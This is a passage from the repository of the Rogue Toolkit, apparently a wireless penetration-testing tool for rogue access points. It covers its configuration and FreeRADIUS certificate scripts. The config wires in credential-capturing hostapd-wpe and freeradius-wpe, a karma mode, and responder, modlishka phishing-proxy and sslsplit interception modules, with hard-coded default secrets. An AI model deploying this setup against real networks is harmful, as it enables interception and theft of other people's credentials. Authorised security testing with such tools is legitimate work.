linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | The Rogue Toolkit 2 | ================= 3 | ![GitHub release (latest by date)](https://img.shields.io/github/v/release/infamoussyn/rogue) 4 | [![Install](https://github.com/InfamousSYN/rogue/actions/workflows/install.yml/badge.svg)](https://github.com/InfamousSYN/rogue/actions/workflows/install.yml) 5 | 6 | Getting Started 7 | ----- 8 | * [Read The Docs](https://the-rogue-toolkit.readthedocs.io/en/latest/) for all the latest supported arguments and example use cases 9 | * [Installation](https://the-rogue-toolkit.readthedocs.io/en/latest/Installation/linux.html) toolkit's installation guide 10 | -------------------------------------------------------------------------------- /__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfamousSYN/rogue/56457d11e2699b1a656961b1aaddbd9bb4d433ae/__init__.py -------------------------------------------------------------------------------- /config.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | import os 3 | import argparse 4 | 5 | # application version 6 | __version__ = "3.0.6" 7 | 8 | # application site 9 | __location__ = "https://rogue.infamoussyn.com/" 10 | 11 | # directory mapping 12 | root_dir, conf_file = os.path.split(os.path.abspath(__file__)) 13 | core_dir = root_dir + "/core" 14 | logdir = root_dir + "/logs" 15 | working_dir = root_dir + "/tmp" 16 | conf_dir = core_dir + "/config" 17 | lib_dir = core_dir + "/libs" 18 | templates_dir = root_dir + "/templates" 19 | hostapd_templates_dir = templates_dir + "/hostapd" 20 | 21 | # installation 22 | install_dir = root_dir + "/install" 23 | software_dep = install_dir + "/software.req" 24 | pip_dep = install_dir + "/pip.req" 25 | 26 | ## Certificates 27 | certs_dir = core_dir + "/certs" 28 | ca_cnf = certs_dir + "/ca.cnf" 29 | server_cnf = certs_dir + "/server.cnf" 30 | client_cnf = certs_dir + "/client.cnf" 31 | bootstrap_file = certs_dir + "/bootstrap" 32 | 33 | ### Trusted Root Certificate Settings (PEM or DER file) 34 | trusted_root_ca_pem = certs_dir + "/ca.pem" 35 | 36 | ### RADIUS Server Certificate Settings (PEM or DER file) 37 | server_pem = certs_dir + "/server.pem" 38 | private_key = certs_dir + "/server.key" 39 | private_key_passwd = "whatever" 40 | dh_file = certs_dir + "/dh" 41 | 42 | # rogue options default values 43 | rogue_bssid = "00:11:22:33:44:00" 44 | rogue_essid = "rogue" 45 | rogue_auth = "open" 46 | rogue_hw_mode = "g" 47 | rogue_channel = 0 48 | rogue_default_frequency = 2 49 | rogue_ht_mode = 0 50 | rogue_auth_algs = 3 51 | rogue_macaddr_acl = 0 52 | rogue_default_eap_type = "md5" 53 | rogue_default_eap_types = ['fast','peap','ttls','tls','leap','pwd','md5','gtc'] 54 | rogue_supported_eap_type = ["md5"] 55 | rogue_supported_eap_types = ['all','fast','peap','ttls','tls','leap','pwd','md5','gtc'] 56 | rogue_country_options = ["AD", "AE", "AF", "AG", "AI", "AL", "AM", "AO", "AQ", "AR", "AS", "AT", "AU", "AW", "AX", "AZ", "BA", "BB", "BD", "BE", "BF", "BG", "BH", "BI", "BJ", "BL", "BM", "BN", "BO", "BQ", "BQ", "BR", "BS", "BT", "BV", "BW", "BY", "BZ", "CA", "CC", "CD", "CF", "CG", "CH", "CI", "CK", "CL", "CM", "CN", "CO", "CR", "CU", "CV", "CW", "CX", "CY", "CZ", "DE", "DJ", "DK", "DM", "DO", "DZ", "EC", "EE", "EG", "EH", "ER", "ES", "ET", "FI", "FJ", "FK", "FM", "FO", "FR", "GA", "GB", "GD", "GE", "GF", "GG", "GH", "GI", "GL", "GM", "GN", "GP", "GQ", "GR", "GS", "GT", "GU", "GW", "GY", "HK", "HM", "HN", "HR", "HT", "HU", "ID", "IE", "IL", "IM", "IN", "IO", "IQ", "IR", "IS", "IT", "JE", "JM", "JO", "JP", "KE", "KG", "KH", "KI", "KM", "KN", "KP", "KR", "KW", "KY", "KZ", "LA", "LB", "LC", "LI", "LK", "LR", "LS", "LT", "LU", "LV", "LY", "MA", "MC", "MD", "ME", "MF", "MG", "MH", "MK", "ML", "MM", "MN", "MO", "MP", "MQ", "MR", "MS", "MT", "MU", "MV", "MW", "MX", "MY", "MZ", "NA", "NC", "NE", "NF", "NG", "NI", "NL", "NO", "NP", "NR", "NU", "NZ", "OM", "PA", "PE", "PF", "PG", "PH", "PK", "PL", "PM", "PN", "PR", "PS", "PT", "PW", "PY", "QA", "RE", "RO", "RS", "RU", "RW", "SA", "SB", "SC", "SD", "SE", "SG", "SH", "SI", "SJ", "SK", "SL", "SM", "SN", "SO", "SR", "SS", "ST", "SV", "SX", "SY", "SZ", "TC", "TD", "TF", "TG", "TH", "TJ", "TK", "TL", "TM", "TN", "TO", "TR", "TT", "TV", "TW", "TZ", "UA", "UG", "UM", "US", "UY", "UZ", "VA", "VC", "VE", "VG", "VI", "VN", "VU", "WF", "WS", "YE", "YT", "ZA", "ZM", "ZW"] 57 | rogue_vht_index = 1 58 | rogue_vht_operations = 0 59 | rogue_vht_index_options = 42 60 | rogue_wpa_version = 2 61 | rogue_eapol_version = 2 62 | rogue_essid_mask = 0 63 | 64 | # hostapd-wpe settings 65 | hostapd_conf_file = "/hostapd-wpe.conf" 66 | hostapd_conf_full = working_dir + hostapd_conf_file 67 | hostapd_command = "%s " 68 | hostapd_command_with_karma = "%s -k" 69 | hostapd_command_with_debug = "%s -d" 70 | hostapd_command_with_ddebug = "%s -dd" 71 | hostapd_log = logdir + "/hostapd-wpe.log" 72 | hostapd_dir = "/usr/sbin" 73 | hostapd_bin = hostapd_dir + "/hostapd-wpe" 74 | eap_user_file = "/etc/hostapd-wpe/hostapd-wpe.eap_user" 75 | hostapd_accept_file = "/hostapd.accept" 76 | hostapd_accept_file_full = working_dir + hostapd_accept_file 77 | hostapd_deny_file = "/hostapd.deny" 78 | hostapd_deny_file_full = working_dir + hostapd_deny_file 79 | 80 | # freeradius-wpe settings 81 | freeradius_dir = "/usr/sbin" 82 | #freeradius_bin = freeradius_dir + "/freeradius-wpe" 83 | freeradius_bin = freeradius_dir + "/freeradius-wpe" 84 | freeradius_log = logdir + "/freeradius-wpe.log" 85 | freeradius_working_dir = "/etc/freeradius-wpe/3.0" 86 | freeradius_mods_dir = freeradius_working_dir + '/mods-available' 87 | freeradius_mods_enabled_dir = freeradius_working_dir + '/mods-enabled' 88 | freeradius_available_site_location = freeradius_working_dir + '/sites-available' 89 | freeradius_mods_dir_eap_full = freeradius_mods_dir + '/eap' 90 | freeradius_radiusd_full = freeradius_working_dir + '/radiusd.conf' 91 | freeradius_clients_full = freeradius_working_dir + '/clients.conf' 92 | freeradius_default_site_full = freeradius_available_site_location + '/default' 93 | freeradius_command = "-X -l %s -d %s" 94 | wpelogfile = logdir + "/freeradius-server-wpe.log" 95 | wpelogfile_default_install = "/var/log/freeradius-server-wpe.log" 96 | radiuslog = logdir + "/radius.log" 97 | default_own_ip_addr = "127.0.0.1" 98 | default_auth_server_addr = default_own_ip_addr 99 | default_auth_server_shared_secret = "secret" 100 | default_auth_server_port = 1812 101 | default_acct_server_addr = default_own_ip_addr 102 | default_acct_server_shared_secret = "secret" 103 | default_acct_server_port = 1813 104 | 105 | # isc-dhcp-server settings 106 | dhcp_conf_dir = "/etc/dhcp" 107 | dhcp_conf = dhcp_conf_dir + "/dhcpd.conf" 108 | dhcp_default = "/etc/default/isc-dhcp-server" 109 | default_dhcpv4_conf_location = dhcp_conf 110 | default_ip_address = "10.254.239.1" 111 | default_dhcp_netmask = "255.255.255.0" 112 | default_route_subnet = "10.254.239" 113 | default_dhcp_subnet = "10.254.239.0" 114 | default_dhcp_pool_start = "10.254.239.10" 115 | default_dhcp_pool_end = "10.254.239.70" 116 | default_default_lease_time = 600 117 | default_max_lease_time = 7200 118 | default_primary_name_server = "8.8.8.8" 119 | default_secondary_name_server = "8.8.4.4" 120 | 121 | ## Attack configs 122 | supported_attack_modules = ['responder', 'modlishka', 'sslsplit'] 123 | 124 | # sslsplit 125 | ca_key = certs_dir + "/ca_no_pass.key" 126 | ca_crt = certs_dir + "/ca.crt" 127 | sslsplit_log = logdir + "/sslsplit.log" 128 | sslsplit_tmp = working_dir + "/sslsplit" 129 | sslsplit_jail = sslsplit_tmp + "/jail" 130 | sslsplit_encrypted_port = 8443 131 | sslsplit_cmd = "-d -l %s -j %s -S %s -k %s -c %s ssl 0.0.0.0 %d" 132 | 133 | # responder 134 | responder_bin = '/usr/sbin/responder' 135 | responder_cmd = '-I %s 2>&1' 136 | responder_conf = '/etc/responder/Responder.conf' 137 | 138 | # modlishka 139 | modlishka_cmd = '-proxyDomain %s -proxyAddress %s -controlURL %s -controlCreds %s -listeningAddress %s -target %s' 140 | modlishka_proxydomain = 'loopback.modlishka.io' 141 | modlishka_listeningaddress = default_ip_address 142 | modlishka_proxyaddress = None 143 | modlishka_controlURL = 'rogue' 144 | modlishka_controlCreds = 'rogue:rogue' 145 | 146 | # service configs 147 | use_systemd = True 148 | network_manager = "network-manager" 149 | network_manager_bin = None 150 | dhcp_server = "isc-dhcp-server" 151 | dhcp_server_bin = None 152 | wpa_supplicant = "wpa_supplicant" 153 | wpa_supplicant_bin = None 154 | mysql_service = 'mysql' 155 | mysql_bin = None 156 | sslsplit_bin = "/usr/bin/sslsplit" 157 | modlishka_bin = "/home/kali/go/bin/Modlishka" 158 | 159 | 160 | # don't touch these 161 | wlan_clean_sleep = 1 162 | generic_sleep = 3 163 | hostapd_sleep = 4 164 | freeradius_sleep = 4 165 | mysql_sleep = 3 166 | sslsplit_sleep = 4 167 | responder_sleep = 4 168 | network_manager_sleep = 4 169 | dhcp_server_sleep = 4 170 | wpa_supplicant_sleep = 4 171 | secondary_interface = "eth0" 172 | proc_ipforward = "/proc/sys/net/ipv4/ip_forward" 173 | default_browser = "firefox" 174 | default_ipv6_address = 'fe80::aefe:ef01' 175 | -------------------------------------------------------------------------------- /core/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfamousSYN/rogue/56457d11e2699b1a656961b1aaddbd9bb4d433ae/core/__init__.py -------------------------------------------------------------------------------- /core/certs/Makefile: -------------------------------------------------------------------------------- 1 | ###################################################################### 2 | # 3 | # Make file to be installed in /etc/raddb/certs to enable 4 | # the easy creation of certificates. 5 | # 6 | # See the README file in this directory for more information. 7 | # 8 | # $Id$ 9 | # 10 | ###################################################################### 11 | 12 | DH_KEY_SIZE = 1024 13 | 14 | # 15 | # Set the passwords 16 | # 17 | PASSWORD_SERVER = `grep output_password server.cnf | sed 's/.*=//;s/^ *//'` 18 | PASSWORD_CA = `grep output_password ca.cnf | sed 's/.*=//;s/^ *//'` 19 | PASSWORD_CLIENT = `grep output_password client.cnf | sed 's/.*=//;s/^ *//'` 20 | 21 | USER_NAME = `grep emailAddress client.cnf | grep '@' | sed 's/.*=//;s/^ *//'` 22 | CA_DEFAULT_DAYS = `grep default_days ca.cnf | sed 's/.*=//;s/^ *//'` 23 | 24 | ###################################################################### 25 | # 26 | # Make the necessary files, but not client certificates. 27 | # 28 | ###################################################################### 29 | .PHONY: all 30 | all: index.txt serial dh random server ca 31 | 32 | .PHONY: client 33 | client: client.pem 34 | 35 | .PHONY: ca 36 | ca: ca.der 37 | 38 | .PHONY: server 39 | server: server.pem server.vrfy 40 | 41 | ###################################################################### 42 | # 43 | # Diffie-Hellman parameters 44 | # 45 | ###################################################################### 46 | dh: 47 | openssl dhparam -out dh $(DH_KEY_SIZE) 48 | 49 | ###################################################################### 50 | # 51 | # Create a new self-signed CA certificate 52 | # 53 | ###################################################################### 54 | ca.key ca.pem: ca.cnf 55 | openssl req -new -x509 -keyout ca.key -out ca.pem \ 56 | -days $(CA_DEFAULT_DAYS) -config ./ca.cnf 57 | 58 | ca.der: ca.pem 59 | openssl x509 -inform PEM -outform DER -in ca.pem -out ca.der 60 | 61 | ###################################################################### 62 | # 63 | # Create a new server certificate, signed by the above CA. 64 | # 65 | ###################################################################### 66 | server.csr server.key: server.cnf 67 | openssl req -new -out server.csr -keyout server.key -config ./server.cnf 68 | 69 | server.crt: server.csr ca.key ca.pem 70 | openssl ca -batch -keyfile ca.key -cert ca.pem -in server.csr -key $(PASSWORD_CA) -out server.crt -extensions xpserver_ext -extfile xpextensions -config ./server.cnf 71 | 72 | server.p12: server.crt 73 | openssl pkcs12 -export -in server.crt -inkey server.key -out server.p12 -passin pass:$(PASSWORD_SERVER) -passout pass:$(PASSWORD_SERVER) 74 | 75 | server.pem: server.p12 76 | openssl pkcs12 -in server.p12 -out server.pem -passin pass:$(PASSWORD_SERVER) -passout pass:$(PASSWORD_SERVER) 77 | 78 | .PHONY: server.vrfy 79 | server.vrfy: ca.pem 80 | openssl verify -CAfile ca.pem server.pem 81 | 82 | ###################################################################### 83 | # 84 | # Create a new client certificate, signed by the the above server 85 | # certificate. 86 | # 87 | ###################################################################### 88 | client.csr client.key: client.cnf 89 | openssl req -new -out client.csr -keyout client.key -config ./client.cnf 90 | 91 | client.crt: client.csr ca.pem ca.key 92 | openssl ca -batch -keyfile ca.key -cert ca.pem -in client.csr -key $(PASSWORD_CA) -out client.crt -extensions xpclient_ext -extfile xpextensions -config ./client.cnf 93 | 94 | client.p12: client.crt 95 | openssl pkcs12 -export -in client.crt -inkey client.key -out client.p12 -passin pass:$(PASSWORD_CLIENT) -passout pass:$(PASSWORD_CLIENT) 96 | 97 | client.pem: client.p12 98 | openssl pkcs12 -in client.p12 -out client.pem -passin pass:$(PASSWORD_CLIENT) -passout pass:$(PASSWORD_CLIENT) 99 | cp client.pem $(USER_NAME).pem 100 | 101 | .PHONY: client.vrfy 102 | client.vrfy: server.pem client.pem 103 | c_rehash . 104 | openssl verify -CApath . client.pem 105 | 106 | ###################################################################### 107 | # 108 | # Miscellaneous rules. 109 | # 110 | ###################################################################### 111 | index.txt: 112 | @touch index.txt 113 | 114 | serial: 115 | @echo '01' > serial 116 | 117 | random: 118 | @if [ -c /dev/urandom ] ; then \ 119 | dd if=/dev/urandom of=./random count=10 >/dev/null 2>&1; \ 120 | else \ 121 | date > ./random; \ 122 | fi 123 | 124 | print: 125 | openssl x509 -text -in server.crt 126 | 127 | printca: 128 | openssl x509 -text -in ca.pem 129 | 130 | clean: 131 | @rm -f *~ *old client.csr client.key client.crt client.p12 client.pem 132 | 133 | # 134 | # Make a target that people won't run too often. 135 | # 136 | destroycerts: 137 | rm -f *~ dh *.csr *.crt *.p12 *.der *.pem *.key index.txt* \ 138 | serial* random *\.0 *\.1 139 | -------------------------------------------------------------------------------- /core/certs/README: -------------------------------------------------------------------------------- 1 | This directory contains scripts to create the server certificates. 2 | To make a set of default (i.e. test) certificates, simply type: 3 | 4 | $ ./bootstrap 5 | 6 | The "openssl" command will be run against the sample configuration 7 | files included here, and will make a self-signed certificate authority 8 | (i.e. root CA), and a server certificate. This "root CA" should be 9 | installed on any client machine needing to do EAP-TLS, PEAP, or 10 | EAP-TTLS. 11 | 12 | The Microsoft "XP Extensions" will be automatically included in the 13 | server certificate. Without those extensions Windows clients will 14 | refuse to authenticate to FreeRADIUS. 15 | 16 | In general, you should use self-signed certificates for 802.1x (EAP) 17 | authentication. When you list root CAs from other organizations in 18 | the "CA_file", you permit them to masquerade as you, to authenticate 19 | your users, and to issue client certificates for EAP-TLS. 20 | 21 | If FreeRADIUS was configured to use OpenSSL, then simply starting 22 | the server in root in debugging mode should also create test 23 | certificates, i.e.: 24 | 25 | $ radiusd -X 26 | 27 | That will cause the EAP-TLS module to run the "bootstrap" script in 28 | this directory. The script will be executed only once, the first time 29 | the server has been installed on a particular machine. This bootstrap 30 | script SHOULD be run on installation of any pre-built binary package 31 | for your OS. In any case, the script will ensure that it is not run 32 | twice, and that it does not over-write any existing certificates. 33 | 34 | If you already have CA and server certificates, rename (or delete) 35 | this directory, and create a new "certs" directory containing your 36 | certificates. Note that the "make install" command will NOT 37 | over-write your existing "raddb/certs" directory, which means that the 38 | "bootstrap" command will not be run. 39 | 40 | 41 | NEW INSTALLATIONS OF FREERADIUS 42 | 43 | 44 | We suggest that new installations use the test certificates for 45 | initial tests, and then create real certificates to use for normal 46 | user authentication. See the instructions below for how to create the 47 | various certificates. The old test certificates can be deleted by 48 | running the following command: 49 | 50 | $ rm -f *.pem *.der *.csr *.crt *.key *.p12 serial* index.txt* 51 | 52 | Then, follow the instructions below for creating real certificates. 53 | 54 | Once the final certificates have been created, you can delete the 55 | "bootstrap" command from this directory, and delete the 56 | "make_cert_command" configuration from the "tls" sub-section of 57 | eap.conf. 58 | 59 | If you do not want to enable EAP-TLS, PEAP, or EAP-TTLS, then delete 60 | the relevant sub-sections from the "eap.conf" file. 61 | 62 | 63 | MAKING A ROOT CERTIFICATE 64 | 65 | 66 | $ vi ca.cnf 67 | 68 | Edit the "input_password" and "output_password" fields to be the 69 | password for the CA certificate. 70 | 71 | Edit the [certificate_authority] section to have the correct values 72 | for your country, state, etc. 73 | 74 | $ make ca.pem 75 | 76 | This step creates the CA certificate. 77 | 78 | $ make ca.der 79 | 80 | This step creates the DER format of the self-signed certificate, 81 | which is can be imported into Windows. 82 | 83 | 84 | MAKING A SERVER CERTIFICATE 85 | 86 | 87 | $ vi server.cnf 88 | 89 | Edit the "input_password" and "output_password" fields to be the 90 | password for the server certificate. 91 | 92 | Edit the [server] section to have the correct values for your 93 | country, state, etc. Be sure that the commonName field here is 94 | different from the commonName for the CA certificate. 95 | 96 | $ make server.pem 97 | 98 | This step creates the server certificate. 99 | 100 | If you have an existing certificate authority, and wish to create a 101 | certificate signing request for the server certificate, edit 102 | server.cnf as above, and type the following command. 103 | 104 | $ make server.csr 105 | 106 | You will have to ensure that the certificate contains the XP 107 | extensions needed by Microsoft clients. 108 | 109 | 110 | MAKING A CLIENT CERTIFICATE 111 | 112 | 113 | Client certificates are used by EAP-TLS, and optionally by EAP-TTLS 114 | and PEAP. The following steps outline how to create a client 115 | certificate that is signed by the server certificate created above. 116 | You will have to have the password for the server certificate in the 117 | "input_password" and "output_password" fields of the server.cnf file. 118 | 119 | 120 | $ vi client.cnf 121 | 122 | Edit the "input_password" and "output_password" fields to be the 123 | password for the client certificate. You will have to give these 124 | passwords to the end user who will be using the certificates. 125 | 126 | Edit the [client] section to have the correct values for your 127 | country, state, etc. Be sure that the commonName field here is 128 | the User-Name that will be used for logins! 129 | 130 | $ make client.pem 131 | 132 | The users certificate will be in "emailAddress.pem", 133 | i.e. "user@example.com.pem". 134 | 135 | To create another client certificate, just repeat the steps for 136 | making a client certificate, being sure to enter a different login 137 | name for "commonName", and a different password. 138 | 139 | 140 | PERFORMANCE 141 | 142 | 143 | EAP performance for EAP-TLS, TTLS, and PEAP is dominated by SSL 144 | calculations. That is, a normal system can handle PAP 145 | authentication at a rate of 10k packets/s. However, SSL involves 146 | RSA calculations, which are very expensive. To benchmark your system, 147 | do: 148 | 149 | $ openssl speed rsa 150 | 151 | or 152 | 153 | $ openssl speed rsa2048 154 | 155 | to test 2048 bit keys. 156 | 157 | A 1GHz system will likely do 30 calculations/s. A 2Ghz system may 158 | do 50 calculations/s, or more. That number is also the number of 159 | authentications/s that can be done for EAP-TLS (or TTLS, or PEAP). 160 | 161 | 162 | COMPATIBILITY 163 | 164 | The certificates created using this method are known to be compatible 165 | with ALL operating systems. Some common issues are: 166 | 167 | - Windows requires certain OID's in the certificates. If it doesn't 168 | see them, it will stop doing EAP. The most visibile effect is 169 | that the client starts EAP, gets a few Access-Challenge packets, 170 | and then a little while later re-starts EAP. If this happens, see 171 | the FAQ, and the comments in raddb/eap.conf for how to fix it. 172 | 173 | - Windows requires the root certificates to be on the client PC. 174 | If it doesn't have them, you will see the same issue as above. 175 | 176 | - Windows XP post SP2 has a bug where it has problems with 177 | certificate chains. i.e. if the server certificate is an 178 | intermediate one, and not a root one, then authentication will 179 | silently fail, as above. 180 | 181 | - Some versions of Windows CE cannot handle 4K RSA certificates. 182 | They will (again) silently fail, as above. 183 | 184 | - In none of these cases will Windows give the end user any 185 | reasonable error message describing what went wrong. This leads 186 | people to blame the RADIUS server. That blame is misplaced. 187 | 188 | - Certificate chains of more than 64K bytes are known to not work. 189 | This is a problem in FreeRADIUS. However, most clients cannot 190 | handle 64K certificate chains. Most Access Points will shut down 191 | the EAP session after about 50 round trips, while 64K certificate 192 | chains will take about 60 round trips. So don't use large 193 | certificate chains. They will only work after everyone upgrade 194 | everything in the network. 195 | 196 | - All other operating systems are known to work with EAP and 197 | FreeRADIUS. This includes Linux, *BSD, Mac OS X, Solaris, 198 | Symbian, along with all known embedded systems, phones, WiFi 199 | devices, etc. 200 | 201 | - Someone needs to ask Microsoft to please stop making life hard for 202 | their customers. 203 | 204 | 205 | SECURITY CONSIDERATIONS 206 | 207 | The default certificate configuration files uses MD5 for message 208 | digests, to maintain compatibility with network equipment that 209 | supports only this algorithm. 210 | 211 | MD5 has known weaknesses and is discouraged in favor of SHA1 (see 212 | http://www.kb.cert.org/vuls/id/836068 for details). If your network 213 | equipment supports the SHA1 signature algorithm, we recommend that you 214 | change the "ca.cnf", "server.cnf", and "client.cnf" files to specify 215 | the use of SHA1 for the certificates. To do this, change the 216 | 'default_md' entry in those files from 'md5' to 'sha1'. 217 | -------------------------------------------------------------------------------- /core/certs/bootstrap: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | # 3 | # This is a wrapper script to create default certificates when the 4 | # server first starts in debugging mode. Once the certificates have been 5 | # created, this file should be deleted. 6 | # 7 | # Ideally, this program should be run as part of the installation of any 8 | # binary package. The installation should also ensure that the permissions 9 | # and owners are correct for the files generated by this script. 10 | # 11 | # $Id$ 12 | # 13 | umask 027 14 | cd `dirname $0` 15 | 16 | make -h > /dev/null 2>&1 17 | 18 | # 19 | # If we have a working "make", then use it. Otherwise, run the commands 20 | # manually. 21 | # 22 | if [ "$?" = "0" ]; then 23 | make all 24 | exit $? 25 | fi 26 | 27 | # 28 | # The following commands were created by running "make -n", and edited 29 | # to remove the trailing backslash, and to add "exit 1" after the commands. 30 | # 31 | # Don't edit the following text. Instead, edit the Makefile, and 32 | # re-generate these commands. 33 | # 34 | if [ ! -f dh ]; then 35 | openssl dhparam -out dh 1024 || exit 1 36 | if [ -e /dev/urandom ] ; then 37 | dd if=/dev/urandom of=./random count=10 >/dev/null 2>&1; 38 | else 39 | date > ./random; 40 | fi 41 | fi 42 | 43 | if [ ! -f server.key ]; then 44 | openssl req -new -out server.csr -keyout server.key -config ./server.cnf || exit 1 45 | fi 46 | 47 | if [ ! -f ca.key ]; then 48 | openssl req -new -x509 -keyout ca.key -out ca.pem -days `grep default_days ca.cnf | sed 's/.*=//;s/^ *//'` -config ./ca.cnf || exit 1 49 | fi 50 | 51 | if [ ! -f index.txt ]; then 52 | touch index.txt 53 | fi 54 | 55 | if [ ! -f serial ]; then 56 | echo '01' > serial 57 | fi 58 | 59 | if [ ! -f server.crt ]; then 60 | openssl ca -batch -keyfile ca.key -cert ca.pem -in server.csr -key `grep output_password ca.cnf | sed 's/.*=//;s/^ *//'` -out server.crt -extensions xpserver_ext -extfile xpextensions -config ./server.cnf || exit 1 61 | fi 62 | 63 | if [ ! -f server.p12 ]; then 64 | openssl pkcs12 -export -in server.crt -inkey server.key -out server.p12 -passin pass:`grep output_password server.cnf | sed 's/.*=//;s/^ *//'` -passout pass:`grep output_password server.cnf | sed 's/.*=//;s/^ *//'` || exit 1 65 | fi 66 | 67 | if [ ! -f server.pem ]; then 68 | openssl pkcs12 -in server.p12 -out server.pem -passin pass:`grep output_password server.cnf | sed 's/.*=//;s/^ *//'` -passout pass:`grep output_password server.cnf | sed 's/.*=//;s/^ *//'` || exit 1 69 | openssl verify -CAfile ca.pem server.pem || exit 1 70 | fi 71 | 72 | if [ ! -f ca.der ]; then 73 | openssl x509 -inform PEM -outform DER -in ca.pem -out ca.der || exit 1 74 | fi 75 | 76 | if [ ! -f client.key ]; then 77 | openssl req -new -out client.csr -keyout client.key -config ./client.cnf 78 | fi 79 | 80 | if [ ! -f client.crt ]; then 81 | openssl ca -batch -keyfile ca.key -cert ca.pem -in client.csr -key `grep output_password ca.cnf | sed 's/.*=//;s/^ *//'` -out client.crt -extensions xpclient_ext -extfile xpextensions -config ./client.cnf 82 | fi 83 | -------------------------------------------------------------------------------- /core/certs/ca.cnf: -------------------------------------------------------------------------------- 1 | # This a dynamically generated file. Do not edit this by hand. 2 | -------------------------------------------------------------------------------- /core/certs/client.cnf: -------------------------------------------------------------------------------- 1 | # This a dynamically generated file. Do not edit this by hand. 2 | -------------------------------------------------------------------------------- /core/certs/server.cnf: -------------------------------------------------------------------------------- 1 | # This a dynamically generated file. Do not edit this by hand. 2 | -------------------------------------------------------------------------------- /core/certs/xpextensions: -------------------------------------------------------------------------------- 1 | # 2 | # File containing the OID's required for Windows. 3 | # 4 | # http://support.microsoft.com/kb/814394/en-us 5 | # 6 | [ xpclient_ext] 7 | extendedKeyUsage = 1.3.6.1.5.5.7.3.2 8 | 9 | [ xpserver_ext] 10 | extendedKeyUsage = 1.3.6.1.5.5.7.3.1 11 | 12 | # 13 | # Add this to the PKCS#7 keybag attributes holding the client's private key 14 | # for machine authentication. 15 | # 16 | # the presence of this OID tells Windows XP that the cert is intended 17 | # for use by the computer itself, and not by an end-user. 18 | # 19 | # The other solution is to use Microsoft's web certificate server 20 | # to generate these certs. 21 | # 22 | # 1.3.6.1.4.1.311.17.2 23 | -------------------------------------------------------------------------------- /core/libs/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfamousSYN/rogue/56457d11e2699b1a656961b1aaddbd9bb4d433ae/core/libs/__init__.py -------------------------------------------------------------------------------- /core/libs/cert_manager.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | import os 4 | import config 5 | from core.templates import cert_templates 6 | 7 | class cert_cnf(object): 8 | 9 | @classmethod 10 | def configure(cls, 11 | country=None, 12 | state=None, 13 | locale=None, 14 | org=None, 15 | email=None, 16 | cn=None): 17 | 18 | with open(cls.path, 'w') as fd: 19 | fd.write(cls.template %\ 20 | (country, state, locale, org, email, cn)) 21 | 22 | class client_cnf(cert_cnf): 23 | 24 | path = config.client_cnf 25 | template = cert_templates.client_cnf 26 | 27 | class server_cnf(cert_cnf): 28 | 29 | path = config.server_cnf 30 | template = cert_templates.server_cnf 31 | 32 | class ca_cnf(cert_cnf): 33 | 34 | path = config.ca_cnf 35 | template = cert_templates.ca_cnf 36 | 37 | def bootstrap(): 38 | 39 | os.system(config.bootstrap_file) 40 | -------------------------------------------------------------------------------- /core/libs/cert_wizard.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | import sys 3 | 4 | import config 5 | from core.libs import cert_manager 6 | 7 | def cert_wizard(): 8 | 9 | while True: 10 | 11 | print('[*] Please enter two letter country ' 12 | 'code for certs (i.e. US, FR)') 13 | 14 | country = input(': ').upper() 15 | if len(country) == 2: 16 | break 17 | print('[!] Invalid input.') 18 | 19 | print('[*] Please enter state or province for ' 20 | 'certs (i.e. Ontario, New Jersey)') 21 | state = input(': ') 22 | 23 | print('[*] Please enter locale for certs (i.e. London, Hong Kong)') 24 | locale = input(': ') 25 | 26 | print('[*] Please enter organization for certs (i.e. rogue)') 27 | org = input(': ') 28 | 29 | print('[*] Please enter email for certs (i.e. rogue@rogue.rogue)') 30 | email = input(': ') 31 | 32 | print('[*] Please enter common name (CN) for certs. (i.e. rogue)') 33 | cn = input(': ') 34 | 35 | cert_manager.ca_cnf.configure(country, state, locale, org, email, cn) 36 | cert_manager.server_cnf.configure(country, state, locale, org, email, cn) 37 | cert_manager.client_cnf.configure(country, state, locale, org, email, cn) 38 | 39 | cert_manager.bootstrap() 40 | 41 | return -------------------------------------------------------------------------------- /core/libs/utils.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | import os 3 | import time 4 | import config 5 | from tqdm import tqdm 6 | 7 | def sleep_bar(sleep_time, text=''): 8 | 9 | print() 10 | 11 | if text: 12 | 13 | print(text) 14 | print() 15 | 16 | interval = sleep_time % 1 17 | if interval == 0: 18 | interval = 1 19 | iterations = sleep_time 20 | else: 21 | iterations = sleep_time / interval 22 | 23 | for i in tqdm(range(iterations)): 24 | time.sleep(interval) 25 | 26 | print() 27 | 28 | 29 | class Service(object): 30 | 31 | @classmethod 32 | def start(cls, verbose=True): 33 | 34 | if config.use_systemd: 35 | os.system('systemctl start %s' % cls.service_name) 36 | else: 37 | os.system('service %s start' % cls.service_name) 38 | 39 | if verbose: 40 | sleep_bar(cls.sleep_time, '[*] Starting %s service.' % cls.service_name) 41 | else: 42 | time.sleep(cls.sleep_time) 43 | 44 | @classmethod 45 | def status(cls, verbose=True): 46 | 47 | if config.use_systemd: 48 | os.system('echo "`systemctl status %s`"' % cls.service_name) 49 | else: 50 | os.system('service %s status' % cls.service_name) 51 | 52 | if verbose: 53 | sleep_bar(cls.sleep_time, '[*] Getting status of %s service.' % cls.service_name) 54 | else: 55 | time.sleep(cls.sleep_time) 56 | 57 | @classmethod 58 | def stop(cls, verbose=True): 59 | 60 | if config.use_systemd: 61 | os.system('systemctl stop %s' % cls.service_name) 62 | else: 63 | os.system('service %s stop' % cls.service_name) 64 | 65 | if verbose: 66 | sleep_bar(cls.sleep_time, '[*] stopping %s service.' % cls.service_name) 67 | else: 68 | time.sleep(cls.sleep_time) 69 | 70 | 71 | @classmethod 72 | def kill(cls, verbose=True): 73 | 74 | killname = os.path.basename(os.path.normpath(cls.bin_path)) 75 | os.system('for i in `pgrep %s`; do kill $i; done' % killname) 76 | 77 | if verbose: 78 | sleep_bar(cls.sleep_time, '[*] Killing all processes for: %s' % killname) 79 | else: 80 | time.sleep(cls.sleep_time) 81 | 82 | @classmethod 83 | def kill_by_name(cls, 